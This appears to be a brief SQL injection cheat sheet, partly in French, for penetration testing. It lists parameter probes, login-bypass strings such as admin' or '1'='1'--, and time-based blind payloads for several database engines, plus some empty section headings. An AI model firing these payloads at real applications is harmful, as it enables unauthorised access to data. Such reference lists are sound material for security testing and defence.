SQLi

SQL Injection

Cheat Sheet

Common

/?q=1'
/?q=1"
/?q=[1]
/?q[]=1
/?q=1`
/?q=1\
/?q=1/*'*/
/?q=1/*!1111'*/
/?q=1'||'asd'||'   <== concat string
/?q=1' or '1'='1
/?q=1 or 1=1
/?q=(1)or(0)=(1)
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*

# Useful payloads
'+(select*from(select(sleep(10)))a)+'
1 AND (select*from(select(sleep(10)))a)
'; SELECT pg_sleep(10) --
'; SELECT SLEEP(10) --+
')) or sleep(5)='
' dbms_pipe.receive_message(('a'),10) --
' WAITFOR DELAY '0:0:5'--
';WAITFOR DELAY '0:0:5'-- 
;waitfor delay '0:0:5'--
);waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--

Polyglot

SQL injection UNION attacks

Pour qu'une attaque UNION fonctionne, deux conditions essentielles doivent être remplies :

  • Les requêtes individuelles doivent renvoyer le même nombre de colonnes.

  • Les types de données de chaque colonne doivent être compatibles entre les différentes requêtes.

Détermination du nombre de colonnes requises dans une attaque UNION par injection SQL

Recherche de colonnes avec un type de données utile dans une attaque UNION par injection SQL

Exploitation d’injection SQL: Mysql, Mariadb

Resources by type

R/W files

Blind SQLi

Second Order SQLi

sqlmap

Last updated